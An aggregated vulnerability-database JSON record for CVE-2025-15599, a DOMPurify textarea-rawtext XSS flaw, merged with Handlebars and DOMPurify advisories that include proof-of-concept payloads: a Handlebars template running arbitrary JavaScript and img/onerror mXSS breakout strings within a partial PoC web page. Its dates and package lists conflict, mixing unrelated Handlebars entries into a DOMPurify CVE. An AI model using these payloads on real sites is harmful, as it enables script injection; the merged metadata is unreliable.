{"id":"CVE-2025-15599","aliases":["CLSA-2026-1774743817","CLSA-2026-1774743830","CLSA-2026-1775608268","CLSA-2026-1775608269","CLSA-2026-1778460305","CLSA-2026-1778805976","CLSA-2026-1780274966","CLSA-2026-1780274972","CLSA-2026-1780361389","CLSA-2026-1784164097","CLSA-2026-1786636600","CLSA-2026-1786636721","CLSA-2026-1786731948","CLSA-2026-1792161492","CLSA-2026-1792593858","CLSA-2026-1792594185","DEBIAN-CVE-2025-15599","EUVD-2025-208240","GHSA-2cf5-4w76-r9qv","GHSA-39q2-94rc-95cp","GHSA-cj63-jhhr-wcxv","GHSA-cjmm-f4jc-qw8r","GHSA-g9r4-xpmj-mj65","GHSA-h8r8-wccr-v5f2","GHSA-q2c6-c6pm-g3gh","GHSA-q42p-pg8m-cqh6","GHSA-v8jm-5vwx-cfxm","ROOT-APP-NPM-CVE-2025-15599","ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","ROOT-APP-NPM-GHSA-h8r8-wccr-v5f2","ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","UBUNTU-CVE-2025-15599"],"status":"published","title":"DOMPurify XSS via Textarea Rawtext Bypass in SAFE_FOR_XML","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00289,"percentile":0.21554,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-471","CWE-79","CWE-94"],"published":"2019-06-05T14:07:48Z","modified":"2026-10-28T05:15:03Z","fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["3.0.8","4.5.2","4.5.3","4.1.2","4.0.14","3.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"dompurify","fixed_in":["3.3.2","3.2.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"handlebars","fixed_in":["1.3.0-tuxcare.1","1.0.12-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"dompurify","fixed_in":["2.5.9-tuxcare.1","2.4.3-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-dompurify","fixed_in":["3.3.2+dfsg-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"dompurify","fixed_in":["2.5.8-aikido.3","3.2.4-aikido.1","2.5.8-aikido.1","3.2.4-aikido.2","3.2.4-aikido.3","2.5.8-aikido.2","3.2.4-aikido.4","3.2.4-aikido.5","2.5.9-aikido.1","2.5.9-aikido.2","2.5.9-aikido.3","2.5.9-aikido.4","2.5.9-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/dompurify","fixed_in":["2.5.8-root.io.3","3.2.4-root.io.1","2.5.8-root.io.1","3.2.4-root.io.2","3.2.4-root.io.3","2.5.8-root.io.2","3.2.4-root.io.4","3.2.4-root.io.5","2.5.9-root.io.1","2.5.9-root.io.2","2.5.9-root.io.3","2.5.9-root.io.4","2.5.9-root.io.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["3.0.7-aikido.3","3.0.3-aikido.2","3.0.8-aikido.1","3.0.8-aikido.2","3.0.7-aikido.1","3.0.7-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["3.0.7-root.io.3","3.0.3-root.io.2","3.0.8-root.io.1","3.0.8-root.io.2","3.0.7-root.io.1","3.0.7-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.3"},{"fixed":"3.2.7"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.3"},{"last_affected":"2.5.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0-tuxcare.0"},{"fixed":"1.3.0-tuxcare.1"}]}],"versions":["1.3.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.12-tuxcare.0"},{"fixed":"1.0.12-tuxcare.2"}]}],"versions":["1.0.12","1.0.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.9-tuxcare.0"},{"fixed":"2.5.9-tuxcare.1"}]}],"versions":["2.5.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.8-tuxcare.0"},{"fixed":"2.5.8-tuxcare.2"}]}],"versions":["2.5.8","2.5.8-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.6-tuxcare.0"},{"fixed":"3.1.6-tuxcare.2"}]}],"versions":["3.1.6","3.1.6-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.3-tuxcare.0"},{"fixed":"3.2.3-tuxcare.1"}]}],"versions":["3.2.3"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.1"}]}],"versions":["3.0.3"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0-tuxcare.0"},{"fixed":"2.4.0-tuxcare.1"}]}],"versions":["2.4.0"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.7-tuxcare.0"},{"fixed":"2.4.7-tuxcare.1"}]}],"versions":["2.4.7"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.3-tuxcare.0"},{"fixed":"2.4.3-tuxcare.2"}]}],"versions":["2.4.3","2.4.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.6-tuxcare.0"},{"fixed":"3.2.6-tuxcare.2"}]}],"versions":["3.2.6","3.2.6-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.3-tuxcare.0"},{"fixed":"3.1.3-tuxcare.3"}]}],"versions":["3.1.3","3.1.3-tuxcare.1","3.1.3-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.4-tuxcare.0"},{"fixed":"3.1.4-tuxcare.3"}]}],"versions":["3.1.4","3.1.4-tuxcare.1","3.1.4-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","2.4.1+dfsg+~2.4.0-2","2.4.1+dfsg+~2.4.0-2+deb12u1","3.0.9+dfsg+~3.0.5-1","3.1.6+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.2+dfsg-1"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.2"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"3.1.3"},{"fixed":"3.2.7"}]}]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"2.5.3"},{"last_affected":"2.5.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-aikido.3"},{"fixed":"3.2.4-aikido.1"},{"fixed":"2.5.8-aikido.1"},{"fixed":"3.2.4-aikido.2"},{"fixed":"3.2.4-aikido.3"},{"fixed":"2.5.8-aikido.2"},{"fixed":"3.2.4-aikido.4"},{"fixed":"3.2.4-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-root.io.3"},{"fixed":"3.2.4-root.io.1"},{"fixed":"2.5.8-root.io.1"},{"fixed":"3.2.4-root.io.2"},{"fixed":"3.2.4-root.io.3"},{"fixed":"2.5.8-root.io.2"},{"fixed":"3.2.4-root.io.4"},{"fixed":"3.2.4-root.io.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-aikido.3"},{"fixed":"2.5.9-aikido.1"},{"fixed":"3.2.4-aikido.1"},{"fixed":"2.5.8-aikido.1"},{"fixed":"2.5.9-aikido.2"},{"fixed":"3.2.4-aikido.2"},{"fixed":"2.5.9-aikido.3"},{"fixed":"3.2.4-aikido.3"},{"fixed":"2.5.8-aikido.2"},{"fixed":"2.5.9-aikido.4"},{"fixed":"3.2.4-aikido.4"},{"fixed":"2.5.9-aikido.5"},{"fixed":"3.2.4-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-root.io.3"},{"fixed":"2.5.9-root.io.1"},{"fixed":"3.2.4-root.io.1"},{"fixed":"2.5.8-root.io.1"},{"fixed":"2.5.9-root.io.2"},{"fixed":"3.2.4-root.io.2"},{"fixed":"2.5.9-root.io.3"},{"fixed":"3.2.4-root.io.3"},{"fixed":"2.5.8-root.io.2"},{"fixed":"2.5.9-root.io.4"},{"fixed":"3.2.4-root.io.4"},{"fixed":"2.5.9-root.io.5"},{"fixed":"3.2.4-root.io.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.7-aikido.1"},{"fixed":"3.0.7-aikido.2"},{"fixed":"3.0.7-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.7-root.io.1"},{"fixed":"3.0.7-root.io.2"},{"fixed":"3.0.7-root.io.3"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0+dfsg-2","2.3.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","3.0.9+dfsg+~3.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.3+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.3.3+dfsg-1"]}],"products":[{"vendor":"cure53","product":"dompurify"}],"references":[{"url":"https://github.com/cure53/DOMPurify","tags":["product","Product","package","report"]},{"url":"https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b","tags":["patch","Patch","fix","web","report"]},{"url":"https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml","tags":["third-party-advisory","Third Party Advisory","advisory","web","report"]},{"url":"https://www.npmjs.com/advisories/1316","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2cf5-4w76-r9qv"},{"url":"https://www.npmjs.com/advisories/1325","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g9r4-xpmj-mj65"},{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2","tags":["web"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-h8r8-wccr-v5f2"},{"url":"https://www.npmjs.com/advisories/1324","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q2c6-c6pm-g3gh"},{"url":"https://github.com/handlebars-lang/handlebars.js/issues/1495","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692","tags":["web"]},{"url":"https://www.npmjs.com/advisories/755","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q42p-pg8m-cqh6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15599","tags":["advisory"]},{"url":"https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v8jm-5vwx-cfxm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/15xxx/CVE-2025-15599.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-15599","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-15599","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-15599","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-15599","title":"DOMPurify XSS via Textarea Rawtext Bypass in SAFE_FOR_XML","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T17:26:05.711Z","modified":"2026-10-08T15:21:15.147Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:37.680845Z"}],"euvd":[{"id":"EUVD-2025-208240","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T17:26:05Z","modified":"2026-10-08T15:21:15Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:32.18003Z"}],"ghsa":[{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2024-02-07T05:08:28Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:36.076201Z"},{"id":"GHSA-h8r8-wccr-v5f2","title":"DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ","description":"## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert('expoc')\"\u003e`.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                